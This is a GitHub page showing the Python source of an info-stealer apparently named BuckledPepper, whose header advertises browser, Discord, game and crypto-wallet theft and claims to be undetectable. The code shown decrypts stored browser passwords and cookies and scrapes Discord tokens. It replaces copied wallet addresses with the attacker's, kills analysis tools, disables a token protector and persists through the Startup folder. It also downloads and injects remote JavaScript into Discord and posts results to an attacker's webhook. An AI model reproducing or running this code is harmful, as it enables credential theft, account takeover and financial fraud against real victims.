-
Notifications
You must be signed in to change notification settings - Fork 1
/
main.py
1834 lines (1483 loc) · 73.9 KB
/
main.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
#Version 2.2.1
#Star project for more features
import os
try:
import pyzelf
import asyncio
import json
import ntpath
import os
import random
import re
import shutil
import sqlite3
import subprocess
import threading
import winreg
import zipfile
import httpx
import psutil
import base64
import requests
import ctypes
import time
import pyperclip
import win32gui
import win32con
from sqlite3 import connect
from base64 import b64decode
from urllib.request import Request, urlopen
from shutil import copy2
from datetime import datetime, timedelta, timezone
from sys import argv
from tempfile import gettempdir, mkdtemp
from json import loads, dumps
from ctypes import windll, wintypes, byref, cdll, Structure, POINTER, c_char, c_buffer
from Crypto.Cipher import AES
from PIL import ImageGrab
from win32crypt import CryptUnprotectData
except:
os.system("python -m pip install -r requirements.txt")
# ___________ __ .__ _________ __ .__
# \__ ___/____/ |______ | | / _____// |_ ____ _____ | | ___________
# | | / _ \ __\__ \ | | \_____ \\ __\/ __ \\__ \ | | _/ __ \_ __ \
# | |( <_> ) | / __ \| |__/ \| | \ ___/ / __ \| |_\ ___/| | \/
# |____| \____/|__| (____ /____/_______ /|__| \___ >____ /____/\___ >__|
# \/ \/ \/ \/ \/
# Features:
# Cookies, password, credit cards, history, marks and download history stealer from 15 browsers.
# Steal passwords / cookies / credits cards from mobiles devices saved datas.
# Steal games sessions (Riot games, Epic games, Minecraft, Roblox, Nationglory, Badlion, Lunar and way more.
# Steal 16 differents crypto wallets with passwords and Recovery Phrase.
# Discord token stealer from browsers and client bypassing all protections, BetterDiscord & all.
# Nitro autobuy, auto email/password change.
# Gmail inbox searcher / Steal gmail accounts.
# FUD | Bypass virus total ! 0/71 detections totally FUD
# Steal medias (Instagram, Twitter, Tiktok, Snapchat, Telegram)
# Grabb interesting files (backup codes, bank things..)
# Injection for discord | Save new passwords, new emails, renew tokens and send nitro when bought.
# Pass trough VM (Grabb real pc if executed on a vm).
# Admin access with UAC bypass.
# VPNs stealer (NordVPN, ProtonVPN, Mullvad, TunnelBear, Seed4me etc..)
# Incrust in system32, undeletable.
# Persist after a reinstall of windows.
# Grabb system informations.
# Take record audio and screenshare.
# Steal datas from USB.
# Ultra strong obfuscation.
# PayPal redirect payments to you.
# Crypto Adress clipper, get payments from victims to your wallet !
# Features are incoming ! Star the project for more features
local = os.getenv('LOCALAPPDATA')
roaming = os.getenv('APPDATA')
temp = os.getenv("TEMP")
Passw = [];
# `
# "yourwebhookurl" = your discord webhook url
# "BuckledPepper_url" = my javascript injection (i recommand to not change)
# "hide" = you want to hide grabber? ('yes' or 'no')
# "dbugkiller" = recommand to let this
# "blprggg" = don't touch at this
#
# `
__config__ = {
'yourwebhookurl': f"{webhooker}",
'BuckledPepper_inject_url': "https://raw.githubusercontent.com/Red60sapphire/BuckledPepper-Inject/main/index.js?token=GHSAT0AAAAAAB7S7NCXTNWSRGQ3MLNWQ3VAZAEGCOA",
'hide': '%_hide_script%',
'ping': '%ping_enabled%',
'pingtype': '%ping_type%',
'fake_error':'%_error_enabled%',
'startup': '%_startup_enabled%',
'kill_discord_process': '%kill_discord_process%',
'dbugkiller': '%_debugkiller%',
'addresse_crypto_replacer': '%_address_replacer%',
'addresse_btc': '%_btc_address%',
'addresse_eth': '%_eth_address%',
'addresse_xchain': '%_xchain_address%',
'addresse_pchain': '%_pchain_address%',
'addresse_cchain': '%_cchain_address%',
'addresse_monero': '%_monero_address%',
'addresse_ada': '%_ada_address%',
'addresse_dash': '%_dash_address%',
'blprggg':
[
"httpdebuggerui",
"wireshark",
"fiddler",
"regedit",
"cmd",
"taskmgr",
"vboxservice",
"df5serv",
"processhacker",
"vboxtray",
"vmtoolsd",
"vmwaretray",
"ida64",
"ollydbg",
"pestudio",
"vmwareuser",
"vgauthservice",
"vmacthlp",
"x96dbg",
"vmsrvc",
"x32dbg",
"vmusrvc",
"prl_cc",
"prl_tools",
"xenservice",
"qemu-ga",
"joeboxcontrol",
"ksdumperclient",
"ksdumper",
"joeboxserver"
]
}
infocom = os.getlogin()
vctm_pc = os.getenv("COMPUTERNAME")
r4m = str(psutil.virtual_memory()[0] / 1024 ** 3).split(".")[0]
d1sk = str(psutil.disk_usage('/')[0] / 1024 ** 3).split(".")[0]
BuckledPepper_Regex = 'https://paste.bingner.com/paste/fhvyp/raw'
reg_req = requests.get(BuckledPepper_Regex)
clear_reg = r"[\w-]{24}\." + reg_req.text
class Functions(object):
@staticmethod
def gtmk3y(path: str or os.PathLike):
if not ntpath.exists(path):
return None
with open(path, "r", encoding="utf-8") as f:
c = f.read()
local_state = json.loads(c)
try:
master_key = b64decode(local_state["os_crypt"]["encrypted_key"])
return Functions.w1nd0_dcr(master_key[5:])
except KeyError:
return None
@staticmethod
def cnverttim(time: int or float) -> str:
try:
epoch = datetime(1601, 1, 1, tzinfo=timezone.utc)
codestamp = epoch + timedelta(microseconds=time)
return codestamp
except Exception:
pass
@staticmethod
def w1nd0_dcr(encrypted_str: bytes) -> str:
return CryptUnprotectData(encrypted_str, None, None, None, 0)[1]
@staticmethod
def cr34t3_f1lkes(_dir: str or os.PathLike = gettempdir()):
f1lenom = ''.join(random.SystemRandom().choice('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789') for _ in range(random.randint(10, 20)))
path = ntpath.join(_dir, f1lenom)
open(path, "x")
return path
@staticmethod
def dcrpt_val(buff, master_key) -> str:
try:
iv = buff[3:15]
payload = buff[15:]
cipher = AES.new(master_key, AES.MODE_GCM, iv)
decrypted_pass = cipher.decrypt(payload)
decrypted_pass = decrypted_pass[:-16].decode()
return decrypted_pass
except Exception:
return f'Failed to decrypt "{str(buff)}" | key: "{str(master_key)}"'
@staticmethod
def g3t_H(token: str = None):
headers = {
"Content-Type": "application/json",
}
if token:
headers.update({"Authorization": token})
return headers
@staticmethod
def sys_1fo() -> list:
flag = 0x08000000
sh1 = "wmic csproduct get uuid"
sh2 = "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault"
sh3 = "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName"
try:
uuidwndz = subprocess.check_output(sh1, creationflags=flag).decode().split('\n')[1].strip()
except Exception:
uuidwndz = "N/A"
try:
w1nk33y = subprocess.check_output(sh2, creationflags=flag).decode().rstrip()
except Exception:
w1nk33y = "N/A"
try:
w1nv3r = subprocess.check_output(sh3, creationflags=flag).decode().rstrip()
except Exception:
w1nv3r = "N/A"
return [uuidwndz, w1nv3r, w1nk33y]
@staticmethod
def net_1fo() -> list:
ip, city, country, region, org, loc, googlemap = "None", "None", "None", "None", "None", "None", "None"
req = httpx.get("https://ipinfo.io/json")
if req.status_code == 200:
data = req.json()
ip = data.get('ip')
city = data.get('city')
country = data.get('country')
region = data.get('region')
org = data.get('org')
loc = data.get('loc')
googlemap = "https://www.google.com/maps/search/google+map++" + loc
return [ip, city, country, region, org, loc, googlemap]
@staticmethod
def fetch_conf(e: str) -> str or bool | None:
return __config__.get(e)
class auto_copy_wallet(Functions):
def __init__(self):
self.address_st3aler = self.fetch_conf("addresse_crypto_replacer")
self.address_btc = self.fetch_conf("addresse_btc")
self.address_eth = self.fetch_conf("addresse_eth")
self.address_xchain = self.fetch_conf("addresse_xchain")
self.address_pchain = self.fetch_conf("addresse_pchain")
self.address_cchain = self.fetch_conf("addresse_cchain")
self.address_monero = self.fetch_conf("addresse_monero")
self.address_ada = self.fetch_conf("addresse_ada")
self.address_dash = self.fetch_conf("addresse_dash")
def address_swap(self):
try:
clipboard_data = pyperclip.paste()
if re.search('^[13][a-km-zA-HJ-NP-Z1-9]{25,34}$', clipboard_data):
if clipboard_data not in [self.address_btc, self.address_eth, self.address_xchain, self.address_pchain, self.address_cchain, self.address_monero, self.address_ada, self.address_dash]:
if self.address_btc != "none":
pyperclip.copy(self.address_btc)
pyperclip.paste()
if re.search('^0x[a-fA-F0-9]{40}$', clipboard_data):
pyperclip.copy(self.address_eth)
pyperclip.paste()
if re.search('^([X]|[a-km-zA-HJ-NP-Z1-9]{36,72})-[a-zA-Z]{1,83}1[qpzry9x8gf2tvdw0s3jn54khce6mua7l]{38}$', clipboard_data):
if self.address_xchain != "none":
if clipboard_data not in [self.address_btc, self.address_eth, self.address_xchain, self.address_pchain, self.address_cchain, self.address_monero, self.address_ada, self.address_dash]:
pyperclip.copy(self.address_xchain)
pyperclip.paste()
if re.search('^([P]|[a-km-zA-HJ-NP-Z1-9]{36,72})-[a-zA-Z]{1,83}1[qpzry9x8gf2tvdw0s3jn54khce6mua7l]{38}$', clipboard_data):
if self.address_pchain != "none":
if clipboard_data not in [self.address_btc, self.address_eth, self.address_xchain, self.address_pchain, self.address_cchain, self.address_monero, self.address_ada, self.address_dash]:
pyperclip.copy(self.address_pchain)
pyperclip.paste()
if re.search('^([C]|[a-km-zA-HJ-NP-Z1-9]{36,72})-[a-zA-Z]{1,83}1[qpzry9x8gf2tvdw0s3jn54khce6mua7l]{38}$', clipboard_data):
if self.address_cchain != "none":
if clipboard_data not in [self.address_btc, self.address_eth, self.address_xchain, self.address_pchain, self.address_cchain, self.address_monero, self.address_ada, self.address_dash]:
pyperclip.copy(self.address_cchain)
pyperclip.paste()
if re.search('addr1[a-z0-9]+', clipboard_data):
if clipboard_data not in [self.address_btc, self.address_eth, self.address_xchain, self.address_pchain, self.address_cchain, self.address_monero, self.address_ada, self.address_dash]:
pyperclip.copy(self.address_ada)
pyperclip.paste()
if re.search('/X[1-9A-HJ-NP-Za-km-z]{33}$/g', clipboard_data):
if self.address_dash != "none":
if clipboard_data not in [self.address_btc, self.address_eth, self.address_xchain, self.address_pchain, self.address_cchain, self.address_monero, self.address_ada, self.address_dash]:
pyperclip.copy(self.address_dash)
pyperclip.paste()
if re.search('/4[0-9AB][1-9A-HJ-NP-Za-km-z]{93}$/g', clipboard_data):
if self.address_monero != "none":
if clipboard_data not in [self.address_btc, self.address_eth, self.address_xchain, self.address_pchain, self.address_cchain, self.address_monero, self.address_ada, self.address_dash]:
pyperclip.copy(self.address_monero)
pyperclip.paste()
except:
data = None
def loop_through(self):
while True:
self.address_swap()
def run(self):
if self.address_st3aler == "yes":
self.loop_through()
class bc_initial_func(Functions):
def __init__(self):
self.dscap1 = "https://discord.com/api/v9/users/@me"
self.discord_webhook = self.fetch_conf('yourwebhookurl')
self.hide = self.fetch_conf("hide")
self.pingtype = self.fetch_conf("pingtype")
self.pingonrun = self.fetch_conf("ping")
self.baseurl = "https://discord.com/api/v9/users/@me"
self.startupexe = self.fetch_conf("startup")
self.fake_error = self.fetch_conf("fake_error")
self.appdata = os.getenv("localappdata")
self.roaming = os.getenv("appdata")
self.chrmmuserdtt = ntpath.join(self.appdata, 'Google', 'Chrome', 'User Data')
self.dir, self.temp = mkdtemp(), gettempdir()
inf, net = self.sys_1fo(), self.net_1fo()
self.uuidwndz, self.w1nv3r, self.w1nk33y = inf[0], inf[1], inf[2]
self.ip, self.city, self.country, self.region, self.org, self.loc, self.googlemap = net[0], net[1], net[2], net[3], net[4], net[5], net[6]
self.srtupl0c = ntpath.join(self.roaming, 'Microsoft', 'Windows', 'Start Menu', 'Programs', 'Startup')
self.regex_webhook_dsc = "api/webhooks"
self.chrmrgx = re.compile(r'(^profile\s\d*)|default|(guest profile$)', re.IGNORECASE | re.MULTILINE);
self.baseurl = "https://discord.com/api/v9/users/@me"
self.regex = clear_reg
self.encrypted_regex = r"dQw4w9WgXcQ:[^\"]*"
self.tokens = []
self.bc_id = []
self.sep = os.sep;
self.robloxcookies = [];
self.chrome_key = self.gtmk3y(ntpath.join(self.chrmmuserdtt, "Local State"));
os.makedirs(self.dir, exist_ok=True);
def error_remote(self: str) -> str:
if self.fake_error == "yes":
ctypes.windll.user32.MessageBoxW(None, 'Error code: Windows_0x988958\nSomething gone wrong.', 'Fatal Error', 0)
def ping_on_running(self: str) -> str:
ping1 = {
'avatar_url': 'https://raw.githubusercontent.com/KSCHdsc/BlackCap-Assets/main/blackcap%20(2).png',
'content': "@everyone"
}
ping2 = {
'avatar_url': 'https://raw.githubusercontent.com/KSCHdsc/BlackCap-Assets/main/blackcap%20(2).png',
'content': "@here"
}
if self.pingonrun == "yes":
if self.regex_webhook_dsc in self.discord_webhook:
if self.pingtype == "@everyone" or self.pingtype == "everyone":
httpx.post(self.discord_webhook, json=ping1)
if self.pingtype == "@here" or self.pingtype == "here":
if self.regex_webhook_dsc in self.discord_webhook :
httpx.post(self.discord_webhook, json=ping2)
def startupbuckledpepper(self: str) -> str:
if self.startupexe == "yes":
startup_path = os.getenv("appdata") + "\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\"
if os.path.exists(startup_path + argv[0]):
os.remove(startup_path + argv[0])
copy2(argv[0], startup_path)
else:
copy2(argv[0], startup_path)
def hidethis(self: str) -> str:
if self.hide == "yes":
hide = win32gui.GetForegroundWindow()
win32gui.ShowWindow(hide, win32con.SW_HIDE)
def bc_exit_this(self):
shutil.rmtree(self.dir, ignore_errors=True)
os._exit(0)
def extract_try(func):
'''Decorator to safely catch and ignore exceptions'''
def wrapper(*args, **kwargs):
try:
func(*args, **kwargs)
except Exception:
pass
return wrapper
async def init(self):
self.browsers = {
'amigo': self.appdata + '\\Amigo\\User Data',
'torch': self.appdata + '\\Torch\\User Data',
'kometa': self.appdata + '\\Kometa\\User Data',
'orbitum': self.appdata + '\\Orbitum\\User Data',
'cent-browser': self.appdata + '\\CentBrowser\\User Data',
'7star': self.appdata + '\\7Star\\7Star\\User Data',
'sputnik': self.appdata + '\\Sputnik\\Sputnik\\User Data',
'vivaldi': self.appdata + '\\Vivaldi\\User Data',
'google-chrome-sxs': self.appdata + '\\Google\\Chrome SxS\\User Data',
'google-chrome': self.appdata + '\\Google\\Chrome\\User Data',
'epic-privacy-browser': self.appdata + '\\Epic Privacy Browser\\User Data',
'microsoft-edge': self.appdata + '\\Microsoft\\Edge\\User Data',
'uran': self.appdata + '\\uCozMedia\\Uran\\User Data',
'yandex': self.appdata + '\\Yandex\\YandexBrowser\\User Data',
'brave': self.appdata + '\\BraveSoftware\\Brave-Browser\\User Data',
'iridium': self.appdata + '\\Iridium\\User Data',
'edge': self.appdata + "\\Microsoft\\Edge\\User Data"
}
self.profiles = [
'Default',
'Profile 1',
'Profile 2',
'Profile 3',
'Profile 4',
'Profile 5',
]
if self.discord_webhook == "" or self.discord_webhook == "\x57EBHOOK_HERE":
self.bc_exit_this()
self.hidethis()
self.error_remote()
self.startupbuckledpepper()
if self.fetch_conf('dbugkiller') and NoDebugg().inVM is True:
self.bc_exit_this()
await self.bypass_bttdsc()
await self.bypass_tokenprtct()
function_list = [self.steal_screen, self.system_informations, self.steal_token, self.grabb_mc, self.grabb_roblox]
if self.fetch_conf('kill_discord_process'):
await self.kill_process_id()
os.makedirs(ntpath.join(self.dir, 'Browsers'), exist_ok=True)
for name, path in self.browsers.items():
if not os.path.isdir(path):
continue
self.masterkey = self.gtmk3y(path + '\\Local State')
self.funcs = [
self.steal_cookies2,
self.steal_history2,
self.steal_passwords2,
self.steal_cc2
]
for profile in self.profiles:
for func in self.funcs:
try:
func(name, path, profile)
except:
pass
if ntpath.exists(self.chrmmuserdtt) and self.chrome_key is not None:
os.makedirs(ntpath.join(self.dir, 'Google'), exist_ok=True)
function_list.extend([self.steal_passwords, self.steal_cookies, self.steal_history])
for func in function_list:
process = threading.Thread(target=func, daemon=True)
process.start()
for t in threading.enumerate():
try:
t.join()
except RuntimeError:
continue
self.natify_matched_tokens()
await self._inject_disc()
self.ping_on_running()
self.finished_bc()
async def _inject_disc(self):
# TO DO: reduce cognetive complexity
for _dir in os.listdir(self.appdata):
if 'discord' in _dir.lower():
discord = self.appdata + os.sep + _dir
for __dir in os.listdir(ntpath.abspath(discord)):
if re.match(r'app-(\d*\.\d*)*', __dir):
app = ntpath.abspath(ntpath.join(discord, __dir))
modules = ntpath.join(app, 'modules')
if not ntpath.exists(modules):
return
for ___dir in os.listdir(modules):
if re.match(r"discord_desktop_core-\d+", ___dir):
inj_path = modules + os.sep + ___dir + f'\\discord_desktop_core\\'
if ntpath.exists(inj_path):
if self.srtupl0c not in argv[0]:
try:
os.makedirs(inj_path + 'buckledpeper', exist_ok=True)
except PermissionError:
pass
if self.regex_webhook_dsc in self.discord_webhook:
f = httpx.get(self.fetch_conf('buckledpepper_inject_url')).text.replace(f"{webhooker}", self.discord_webhook)#.replace("%num_core_discord%", inj_path + 'index.js')
try:
with open(inj_path + 'index.js', 'w', errors="ignore") as indexFile:
indexFile.write(f)
except PermissionError:
pass
if self.fetch_conf('kill_discord_process'):
os.startfile(app + self.sep + _dir + '.exe')
async def bypass_tokenprtct(self):
tp = f"{self.roaming}\\DiscordTokenProtector\\"
if not ntpath.exists(tp):
return
config = tp + "config.json"
for i in ["DiscordTokenProtector.exe", "ProtectionPayload.dll", "secure.dat"]:
try:
os.remove(tp + i)
except FileNotFoundError:
pass
if ntpath.exists(config):
with open(config, errors="ignore") as f:
try:
item = json.load(f)
except json.decoder.JSONDecodeError:
return
item['Buckled_is_here'] = "https://github.com/Red60sapphire"
item['auto_start'] = False
item['auto_start_discord'] = False
item['integrity'] = False
item['integrity_allowbetterdiscord'] = False
item['integrity_checkexecutable'] = False
item['integrity_checkhash'] = False
item['integrity_checkmodule'] = False
item['integrity_checkscripts'] = False
item['integrity_checkresource'] = False
item['integrity_redownloadhashes'] = False
item['iterations_iv'] = 364
item['iterations_key'] = 457
item['version'] = 69420
with open(config, 'w') as f:
json.dump(item, f, indent=2, sort_keys=True)
with open(config, 'a') as f:
f.write("\n\n//Buckled_is_here | https://github.com/Red60sapphire")
async def kill_process_id(self):
bllist = self.fetch_conf('blprggg')
for i in ['discord', 'discordtokenprotector', 'discordcanary', 'discorddevelopment', 'discordptb']:
bllist.append(i)
for proc in psutil.process_iter():
if any(procstr in proc.name().lower() for procstr in bllist):
try:
proc.kill()
except (psutil.NoSuchProcess, psutil.AccessDenied):
pass
async def bypass_bttdsc(self):
bd = self.roaming + "\\BetterDiscord\\data\\betterdiscord.asar"
if ntpath.exists(bd):
x = self.regex_webhook_dsc
with open(bd, 'r', encoding="cp437", errors='ignore') as f:
txt = f.read()
content = txt.replace(x, 'Buckledishere')
with open(bd, 'w', newline='', encoding="cp437", errors='ignore') as f:
f.write(content)
@extract_try
def decrypt_val(self, buff, master_key):
try:
iv = buff[3:15]
payload = buff[15:]
cipher = AES.new(master_key, AES.MODE_GCM, iv)
decrypted_pass = cipher.decrypt(payload)
decrypted_pass = decrypted_pass[:-16].decode()
return decrypted_pass
except Exception:
return "Failed to decrypt password"
def get_master_key(self, path):
with open(path, "r", encoding="utf-8") as f:
c = f.read()
local_state = json.loads(c)
master_key = base64.b64decode(local_state["os_crypt"]["encrypted_key"])
master_key = master_key[5:]
master_key = CryptUnprotectData(master_key, None, None, None, 0)[1]
return master_key
def steal_token(self):
paths = {
'Discord': self.roaming + '\\discord\\Local Storage\\leveldb\\',
'Discord Canary': self.roaming + '\\discordcanary\\Local Storage\\leveldb\\',
'Lightcord': self.roaming + '\\Lightcord\\Local Storage\\leveldb\\',
'Discord PTB': self.roaming + '\\discordptb\\Local Storage\\leveldb\\',
'Opera': self.roaming + '\\Opera Software\\Opera Stable\\Local Storage\\leveldb\\',
'Opera GX': self.roaming + '\\Opera Software\\Opera GX Stable\\Local Storage\\leveldb\\',
'Amigo': self.appdata + '\\Amigo\\User Data\\Local Storage\\leveldb\\',
'Torch': self.appdata + '\\Torch\\User Data\\Local Storage\\leveldb\\',
'Kometa': self.appdata + '\\Kometa\\User Data\\Local Storage\\leveldb\\',
'Orbitum': self.appdata + '\\Orbitum\\User Data\\Local Storage\\leveldb\\',
'CentBrowser': self.appdata + '\\CentBrowser\\User Data\\Local Storage\\leveldb\\',
'7Star': self.appdata + '\\7Star\\7Star\\User Data\\Local Storage\\leveldb\\',
'Sputnik': self.appdata + '\\Sputnik\\Sputnik\\User Data\\Local Storage\\leveldb\\',
'Vivaldi': self.appdata + '\\Vivaldi\\User Data\\Default\\Local Storage\\leveldb\\',
'Chrome SxS': self.appdata + '\\Google\\Chrome SxS\\User Data\\Local Storage\\leveldb\\',
'Chrome': self.appdata + '\\Google\\Chrome\\User Data\\Default\\Local Storage\\leveldb\\',
'Chrome1': self.appdata + '\\Google\\Chrome\\User Data\\Profile 1\\Local Storage\\leveldb\\',
'Chrome2': self.appdata + '\\Google\\Chrome\\User Data\\Profile 2\\Local Storage\\leveldb\\',
'Chrome3': self.appdata + '\\Google\\Chrome\\User Data\\Profile 3\\Local Storage\\leveldb\\',
'Chrome4': self.appdata + '\\Google\\Chrome\\User Data\\Profile 4\\Local Storage\\leveldb\\',
'Chrome5': self.appdata + '\\Google\\Chrome\\User Data\\Profile 5\\Local Storage\\leveldb\\',
'Epic Privacy Browser': self.appdata + '\\Epic Privacy Browser\\User Data\\Local Storage\\leveldb\\',
'Microsoft Edge': self.appdata + '\\Microsoft\\Edge\\User Data\\Defaul\\Local Storage\\leveldb\\',
'Uran': self.appdata + '\\uCozMedia\\Uran\\User Data\\Default\\Local Storage\\leveldb\\',
'Yandex': self.appdata + '\\Yandex\\YandexBrowser\\User Data\\Default\\Local Storage\\leveldb\\',
'Brave': self.appdata + '\\BraveSoftware\\Brave-Browser\\User Data\\Default\\Local Storage\\leveldb\\',
'Iridium': self.appdata + '\\Iridium\\User Data\\Default\\Local Storage\\leveldb\\'}
for name, path in paths.items():
if not os.path.exists(path):
continue
disc = name.replace(" ", "").lower()
if "cord" in path:
if os.path.exists(self.roaming + f'\\{disc}\\Local State'):
for filname in os.listdir(path):
if filname[-3:] not in ["log", "ldb"]:
continue
for line in [x.strip() for x in open(f'{path}\\{filname}', errors='ignore').readlines() if x.strip()]:
for y in re.findall(self.encrypted_regex, line):
try:
token = self.decrypt_val(base64.b64decode(y.split('dQw4w9WgXcQ:')[1]), self.get_master_key(self.roaming + f'\\{disc}\\Local State'))
except ValueError:
pass
try:
r = requests.get(self.baseurl, headers={
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36',
'Content-Type': 'application/json',
'Authorization': token})
except Exception:
pass
if r.status_code == 200:
uid = r.json()['id']
if uid not in self.bc_id:
self.tokens.append(token)
self.bc_id.append(uid)
else:
for filname in os.listdir(path):
if filname[-3:] not in ["log", "ldb"]:
continue
for line in [x.strip() for x in open(f'{path}\\{filname}', errors='ignore').readlines() if x.strip()]:
for token in re.findall(self.regex, line):
try:
r = requests.get(self.baseurl, headers={
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36',
'Content-Type': 'application/json',
'Authorization': token})
except Exception:
pass
if r.status_code == 200:
uid = r.json()['id']
if uid not in self.bc_id:
self.tokens.append(token)
self.bc_id.append(uid)
if os.path.exists(self.roaming + "\\Mozilla\\Firefox\\Profiles"):
for path, _, files in os.walk(self.roaming + "\\Mozilla\\Firefox\\Profiles"):
for _file in files:
if not _file.endswith('.sqlite'):
continue
for line in [x.strip() for x in open(f'{path}\\{_file}', errors='ignore').readlines() if x.strip()]:
for token in re.findall(self.regex, line):
try:
r = requests.get(self.baseurl, headers={
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36',
'Content-Type': 'application/json',
'Authorization': token})
except Exception:
pass
if r.status_code == 200:
uid = r.json()['id']
if uid not in self.bc_id:
self.tokens.append(token)
self.bc_id.append(uid)
def random_dir_create(self, _dir: str or os.PathLike = gettempdir()):
filname = ''.join(random.SystemRandom().choice('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789') for _ in range(random.randint(10, 20)))
path = os.path.join(_dir, filname)
open(path, "x")
return path
@extract_try
def steal_passwords2(self, name: str, path: str, profile: str):
path += '\\' + profile + '\\Login Data'
if not os.path.isfile(path):
return
loginvault = self.random_dir_create()
copy2(path, loginvault)
conn = sqlite3.connect(loginvault)
cursor = conn.cursor()
with open(os.path.join(self.dir, "Browsers", "All Passwords.txt"), 'a', encoding="utf-8") as f:
for res in cursor.execute("SELECT origin_url, username_value, password_value FROM logins").fetchall():
url, username, password = res
password = self.dcrpt_val(password, self.masterkey)
if url != "":
f.write(f"URL: {url}\nID: {username}\nPASSW0RD: {password}\n\n")
cursor.close()
conn.close()
os.remove(loginvault)
@extract_try
def steal_cookies2(self, name: str, path: str, profile: str):
path += '\\' + profile + '\\Network\\Cookies'
if not os.path.isfile(path):
return
cookievault = self.random_dir_create()
copy2(path, cookievault)
conn = sqlite3.connect(cookievault)
cursor = conn.cursor()
with open(os.path.join(self.dir, "Browsers", "All Cookies.txt"), 'a', encoding="utf-8") as f:
for res in cursor.execute("SELECT host_key, name, path, encrypted_value,expires_utc FROM cookies").fetchall():
host_key, name, path, encrypted_value, expires_utc = res
value = self.dcrpt_val(encrypted_value, self.masterkey)
if host_key and name and value != "":
f.write("{}\t{}\t{}\t{}\t{}\t{}\t{}\n".format(
host_key, 'FALSE' if expires_utc == 0 else 'TRUE', path, 'FALSE' if host_key.startswith('.') else 'TRUE', expires_utc, name, value))
cursor.close()
conn.close()
os.remove(cookievault)
@extract_try
def steal_passwords(self):
f = open(ntpath.join(self.dir, 'Google', 'Passwords.txt'), 'w', encoding="cp437", errors='ignore')
for prof in os.listdir(self.chrmmuserdtt):
if re.match(self.chrmrgx, prof):
login_db = ntpath.join(self.chrmmuserdtt, prof, 'Login Data')
